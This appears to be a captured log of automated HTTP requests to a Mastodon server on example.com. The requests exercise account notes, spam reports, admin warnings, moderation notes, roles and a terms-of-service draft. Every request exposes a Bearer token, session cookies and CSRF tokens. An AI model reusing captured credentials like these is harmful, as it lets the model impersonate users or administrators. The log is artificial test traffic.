_mastodon_session=4qzmIiZPuYUqy9D7hgtAo9xCQ6Z%2BPaSMbSycfIvQINpJ8FdNFePSMCED0N9TkoSIYa0xKJ1RY8bj0xAPWgUQi9XuTERslq3t8NVgKyUlDbvLkrfZ%2BLKxqyGqhmQI05CwDVFARYqwUkFihTQ8bHCb%2BvSHiLAnxXqn27czcbt3iB4Db9%2F2baT8GKIdU0G%2FJS1%2FAqN%2FV8dcOXaNxHLZjh%2Ffn0pXSis3M9NErWguFz7BNksbLvAFYUOYiLhO4J76%2F%2BqyJpxPZ2LMap2eAHhI6N55zk3iz7nOKZ753aIbGJbAn8p7qjL2P5v9UHYrqMfUks%2FwrU0OkBGLIA6J2acoGHp9oua%2Fiz487uq2bw%2BFt55%2FKQBc33YjyKzxsRdjVLXwA5e7TJ58ruQrKrmY--w6cnBJVBHRI5at36--V9SAznJN5niMY%2Fgq4Q9Z6Q%3D%3D"], "body": "------WebKitFormBoundaryUQtXWPO5ykB3KVSy\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"blob\"\r\nContent-Type: image/png\r\n\r\n�PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000 \u0000\u0000\u0000 \b\u0006\u0000\u0000\u0000szz�\u0000\u0000\u0000;IDATx\u0001���\t\u00000\b\u0003��4\u001d�cw+\u001d�� \u0017�?�/�����\u0019�\u0001\u0004\b\u0010 @�\u0000\u0001\u0002\u0004\b\u0010 @`�@w�\u000b\u0000\u0000���'E�\u0000\u0000\u0000\u0006IDAT\u0003\u0000?yH!1�\u0005\u0015\u0000\u0000\u0000\u0000IEND�B`�\r\n------WebKitFormBoundaryUQtXWPO5ykB3KVSy\r\nContent-Disposition: form-data; name=\"avatar_description\"\r\n\r\nAn orange square\r\n------WebKitFormBoundaryUQtXWPO5ykB3KVSy--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 35", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 2VaOWYDfyXC2LhO3gcv7d7Tb2HaWBKeAu-DDzSC9E4x34Ege7QKDxAdC4e0Q_jybM_43pzHHG6u8MOEGvLohZg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDU6NTAuNzMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--73cc8591126b052478f2a87b3ad44c8e781cbc97; _mastodon_session=En59h1FyCIi%2BBw4Ammp81QF8ijp003GDVJ2LZWhzNe8xG95JRY1UMfC74zHxFEApCp8g3L%2F2iYpjTgvRrlQYjBHYfA16oVFWdm3VmF%2FHHQC%2Bj9w3j04CSrGzuSOwe0MCgqC64SQga41LGicHGONyt%2Foyg8Brw9heW6UXIfdF4JHnxTNGcdqVwBA4uukJnnQitPr9jhFMoFukbU1ONH9e63u0oo9%2B6oG4didf7DPDhK8vX2LkLpm9%2FcUVzoiDq7p%2BDYw4PH2BHEOaeYSTsWfJ%2BhpFEZyEnJnqo1JqbQDj4COXw4b3pJJgYjD0Z1D5AoK%2FuT6UhJIYx%2BQboX5QUd8qV0ickHqN7wK00rojVRsTUFInWf69tew2NnBm4UTjDNDbKyTkuTknBY1Y--sFObJ3y%2FL30bK2Dm--hjwKHU33NgREGRsF68EHSg%3D%3D"], "body": "{\"comment\":\"Met at the river walk\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 61", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: j7fVhw0PbocEXGuNMzz0DNlZ2bPncNyq4Pp9j1nCSiEhARPAYNIkM7UwmdeiCTPgXnw2YkCzYIHnKl9ExcV4yw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDY6NDAuMTE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--765e600d35f9ae7e4e9d1544501f9428a349fdfa; _mastodon_session=%2Fe%2BrT21g0aBpcxP5axoWyml0417RkDc5JKAfDrBLgojDxwBMHfjFbi4waZ03p5ib665Hd%2F6z961yYughQKf%2BsKAHV2a8HRZKfDzKs5Z79v6Tl8wheULcN5bOpsQw4E9NPRNHcsnn1AxFY4E8kWHyyTOqnBciXNUY1MxQWqlJX1OQSRKc33fvVXtV9zbx5EzBlrldoGbn%2Fdqk6o7d2zFbZ4x6ghM0m7hBVSVQMntPPXTUlGeyVGHdUaQ%2FgnkfQOu8qPsCiwBYr%2BoXP4tbuCFyWYTTjY1VlncQWRYvauLQM7qPU%2BxMC4N6NjUR841p7dQf0l7ChYvnHBlu3o1tJMdvz3J2R35KyideQtxmEnHn6cT8Dj07dNShM9a81Afo6IcmSTv4ZU0C9d8%2F--0dt91hvvP%2BqR2KjZ--4pVuR%2FdZdONGdL53Y3Dt0A%3D%3D"], "body": "{\"comment\":\"Knows python3, powershell, ls -la and .htaccess\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 167", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: E0siLuH6sdkYpyM3LeCmV-3YzQ0RCuiMKT_Tbic_oEa9_eRpjCf7banL0W281WG7av0i3LbJVKcu7_GluziSrA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDc6MDYuNzE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a6c0e21785394d921496cb35dc39f7580c93d132; _mastodon_session=u4a2MTZ325LIR%2BWJ5YGTOs%2BNftgwAv23iV%2FGZu16v6Zcm69X6PKtABOLmpHsiHcyHKv8LrW4KJGe4mx%2BUQRumCvZAq%2FKE9yNgjIfZdhOHPyYAyq1NZNVcGCBPRZC0qm%2BT1CqJhulHFEICg8olSfqJcRerBkITQz4laa0JPT8krUCWCieIf2C5rXEOIFm%2B2it9sPJVR2Lg5F%2BDszTgXwq1HSWpgGrtEENvGEOfFf8FhDDPyLqbMWdQy5uTUg46rBaeYXmDoHR8uyPxt3Zwymey8esTGyFizr8tH3OkeESooRym%2FkS3kDQ0VyTmHPu0zDRo2HeW3Mw2e%2BEMl3FuBsimiXUVzgZuSD85CxnkVNsuJAS4TaEjjSEouBXwKVxs1L68AR8UWBJP8lW--jeTED4Oq%2BNmJoKfY--TpWbjvMsVdjrdzMnyecQ%2Bw%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"Sends the same link to everyone\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 209", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 9KJAnZHXgScACqpgvxl4Ftv8ful9a2bFxANlW6lW88JaFIba_ArLk7FmWDouLL_6XNmRONqo2u7D00eQNVHBKA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDc6MTcuNTcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--df011016d3d6395bc07d5fbab2917b9ef01a8e35; _mastodon_session=ZSFe6VxK3GQHqSBd2cVefbuCmdqHly4L1A5K%2BvlqoI83JBWoOhcVZObG9nxk7qNSDzgBNvp8ZFFIvNwUBHB%2F%2Bkb7WIiDEMTNvH1UMmO1rQCeH9marL4ulamke0AMne6389leKqL%2Bze%2FKuQNrQg6r5TAa3An8Nen5CKREfSMRHR2QNTKCUJp3bLR4B5Ubyt1Qy5OL%2Fkkpmx5riqaAV7MJwbHSECJuB1%2Bf%2FVSwjGZl7mmJpSABDvizySUg6kkl7bwFH04C7AEtrrZYv3eNOl7Qzp7haCzet9e%2F647Zy4Ml2E2WfeVxKu3rBUOsJXcWG2XZILdgY85d8FZAfbytqmbDfbIUkWvr%2BrMtsAQqTbAedmAuJbKlScIoOFPnxkJC9JK3wMRzY35c8NTm--VQ76Hd7RC74zSjYN--9mLfXZKIao2FJ82ZP0Ms8Q%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"Posting python3 and powershell malware, ls -la output and .htaccess files\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MjQuMjA2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--30f32bf3938306e75330204cdaf3dca6350d9bb1; _mastodon_session=9UzPVoLqh3MebAD4cs2shX2oYrqBzen6MFx5qsRRQt8WG7DPetvif5EZT3MhS%2FSjR9FmpcLO%2Bt%2FMxmSSCFk8ZPWsC5AkyE6hZ%2FAJ1eKM6%2Bk921J%2BMD6WHVNSPBfdlPK2vbxC1PK2Qj6RVHiC2vLplH%2BdpzKuf3OYO%2BQ4EgUFUrpH1ofLYietyEkWs%2BfYBR8CUFaE7dEs%2BsXoAJMzZJ0eo%2Bps2rRpPqWCKy99DIfaCrXWkc5njXEjk9l5gtFVu6%2F8pTDVc2eIU%2Fs%2BwPmHgLulXlAigsdlqO9aDNc0j2OE0hWg%2B%2Be%2Fxh5ij%2FRpYx9eXaUSb9HjgLANEIhQO%2FiyjFM%2F7xeKpt60FOAN64yhEvOulH7L1yW7kI02m%2BpMH1UPvachQcKejfaiVoMh--PYdTFXIV4lv%2BSVOK--I4hoMUTMbpp6luFL4lXrpA%3D%3D"], "body": "authenticity_token=LmOxIUYJN1QU7P6b0jV_4aaDb3_ciZxm-sO8dJrIjF6G6z2KZOQV6sCug7wW7PWkznbGRNw7D9pJ2xvriQx79Q&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Btext%5D=Please+stop+posting+python3%2C+powershell%2C+ls+-la+and+.htaccess+malware+links.&button="}
|
||||||
|
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 243", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MjkuMzgzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--e5a66d06b8b6c838fbd37de11df65caabf8e00b5; _mastodon_session=pn21mIacyCKbwKtmFiXkH%2FiQ5ZBziB1JPrfxyI2vYzNu8vRf3x4H2z%2BTgoC2ERvMAPeYuWBA8f4dHxsxcmJBnhm9yrmrAO5kzfBmM79wVjyrLZftCo6naNItylxTE626TLJgI4sEKxnS17muxPQCbb22tN9iX4hGg9Fa%2BZDcG6Qsjl784EqcaBTGDP36jwyl2uihapGmeOuSTimuafE3ZSs9EYCmRWInESCiq1G%2BrVmua080xw1ucZ0qioegH1qnwimbo2McV4Y3aKW6PwRyGhy4CUiizYStXNC7%2FXGOG26Uhv7Gc5P%2FuYHnOlbXFbdRCm0uQL1S9Ky1Q2axsF0%2BiceH5iWK9LwGgYoRnK1K%2BwUtI8S1mWyQoqykxNaPnjBy20YAfoz92HMa--zBrAAo7nfjk8Uv0S--bzSPk5ohcKC6JNArL%2FcYAA%3D%3D"], "body": "authenticity_token=aruV4OSbSjybQePcigqioRLpq2wyrVY-4hFvDxdzgIzAm5yewV3MSCOrn8EFRY_klzQHr1MBzk45Ykq5HXkJdg&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=Checked+the+links%3A+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&button="}
|
||||||
|
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 292", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MzUuMzI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c193e35a90817b92566d80a924c0bf0f34ce566c; _mastodon_session=8MiaObsBMtlRgRHBurcPb7QSbRRtJjMEXfkPo3LD9R23rwYei6HrRuMePCzdAO6Y44E7rb1O49NCGYsW0Trd6X7498h5aIzfJKAKhxKnU7JGZv3hAGtIp%2F0tN5J%2FzH7ZQ5uzkMnrz3QEW7Mqx1WoP%2Bib3TZ23BzHNINKtDLfFyKk%2FFkQ9MpFTme6TlQSogMQNs3kIye%2B7F0%2Fr3RU5t%2Bpzt9GDq%2Bsc14q%2F26%2BYj9QPEm1rvqdA4gcP1%2FB%2FGzf%2FbL5pgPt3hHxykyUSAIwXLvezN5sfdY624ml61tbgn3ZIg4w2PhTTnwqf1XXC15VtBCdG1UabD1bUJIFLUbJdO2Y63ZN6ozdbpFlzyYP9qnVuWN%2FR%2F7eLFfAamqQ2CWubEqB2CHcCWDxraZ6--xuw7TJSMgseyu8O2--FLrKb7uoCwkgLRR0ab6Jdw%3D%3D"], "body": "authenticity_token=j1KVAsW12m0HhrCGydlDRscSfYrqWuRTCpkjRqPgM8jZ9_D1DVrV3LyitsuBNTWPA13OBzFKtZHMiVnSqFg3pg&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=Warned+about+posting+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&button="}
|
||||||
|
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 334", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6NDAuNTMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--561ffd6b285af147d70a324b0d9397869527285e; _mastodon_session=aQl2iWwBeEKUCN4dcQsFpKgtDYktofncahEocmkPbgM3cbQkNobKIbWYZEgbjeLmPe5PC7O9zpY5Ie%2BL5qbRIVRUpNdSdlVU%2FOAIjtMfIsTzjaZiEFN%2BfzseluwaWfBUiazW0vWtKxY8zRGBQaw3bAfJTZ9lHOFm9yS8wi2%2Fp15t5DW%2FPODkCXtDrRHYkR5KJ%2BFbnkYgMhBjs40VWKs7ZtBvk2Y0c9melqc9tEwbyqP8ubvWzZa3R%2BgK7V9X1PYNbZ%2FVlMKUIWYlcZK35%2BhxGaN2ZXA6230Z1VkIfMhdLVXmUpyUFnin1RWcUbvk%2FEPVlQi5tINEST4DJPYJai2iV5iFIEAoTKVQbt8u%2FVCYPwtfBZ561KSpKV7wJY6hbRrjfQe9mAw3wzlu--FI8tDBlxbbZ2d4vP--obAulotL87sJgqynhDc5YA%3D%3D"], "body": "authenticity_token=wpT7XOXRAfEXTj199M0ipX9FtC2WK0rB8FEXreHJp9s_XYsClxsLzJS9YAgEyy0wY6E_sno6ufzX7MzGwAxtLw&account_warning_preset%5Btitle%5D=Scripts%3A+python3%2C+powershell%2C+ls+-la+and+.htaccess&account_warning_preset%5Btext%5D=Please+do+not+post+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts+that+harm+other+people.&button="}
|
||||||
|
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 593", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6NDguMTMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--672408b9ca1e1e175a4fa18a0ff2600e6cd8a2e2; _mastodon_session=zLr4TCzcntoRMj35DCGYVDJ5LjZ6JVY1jdPgulvX5B54hMbQT%2FNbZJilzzH0iDgMo4EZqcZaExn9zUrmxAckPnyOY7HwgIUEHi53q6R09oVgBjNliIvQOg4t5hmKArE3hw7ezQSyEvZ9GFgzHWn232cHXlzCuoQTv4PhbdyxP2Q8cSrhsCotSc02qjDOLWkpBHBjUhDis5%2FdITa21K18a%2BiwGokW2axrAAleiPQ%2FBNuLAAW5ATd3wrN4TEH%2B5xKv5pF2BO%2F%2BAOvTnJHrgFteov7mpVRXv1HOlZRRlOpABGsRvKnqsj8D0dLSnFkmQqCpsrSaqBNhsKkePGxh2TRrJpLVZTtam5UcubBcxJhvA%2FY66PVAQu0fy4We%2FjFfrPh1D%2FnF%2FbisG8eX--OUo13EyghWkS5PpL--1x3nDqiKtc%2BSVf1x1U2OIg%3D%3D"], "body": "authenticity_token=Q3cLyZYIkOgxnyeFacZyqXmWTgwmqF17J3qTlYkNqmwVyYhVIvEVMubnKdHsF7C8O2PNi0qJOu8-pFFLiSZ--w&user_role%5Bname%5D=Helpers+for+python3%2C+powershell%2C+ls+-la+and+.htaccess&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
|
||||||
|
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 509", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDk6MDAuMzc2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ac3b4cbea5fc9179a2634a398ff3fbc7afff0af1; _mastodon_session=3gwAOjwR7Hiabs%2BXY5%2FCxmSJJoJ4eIVs3o9RkTpRwr1oUGV3mmu1XD6lUX4%2FsyfKFiBDfjL9uXSwM5GqCMgJTPVEe1vw1jRPYCmi%2BOge7ZQFIzDz2nTgY4o%2FMMcnKEYNkxX6qsG%2FFsQUDJxqAgIVrC9cKZDlJ4fZND1Tm5b6tSDYp7EvslxHLj46VX03l%2FG9HPILQ1nQU%2F53IEk2BGCjG%2Bo2oBpQ9G2TMBd9IV%2Bib4IyJHNiiDJHlZCfY%2BIO39oL9KJef62xZcyF0E5xP2lRZzPcHjowmWu0SCW72YfesLMlKf03kuAvocBqL8hqBJmRzxC0G%2Brc6Gxk2T0scYBlXIrVyUWoY3AYRVsELm0uXzL2vEI9IOOxdRYbkXYORdSrpon%2FngnKSzKP--7PvVUgLBNDoi7FK0--uYakctRiP8H%2FkjTvrNel3Q%3D%3D"], "body": "_method=put&authenticity_token=YTIrw7CnZdYERgu0NJqV5O4_tMAnqeFodDlTBVu2w0Q8ulivnDdoszyAwvEZOep5sAHUTtsVcyaHrU0BzD1WEw&terms_of_service%5Btext%5D=Do+not+post+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts+that+harm+other+people.&terms_of_service%5Bchangelog%5D=Added+a+rule+about+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
|
||||||
|
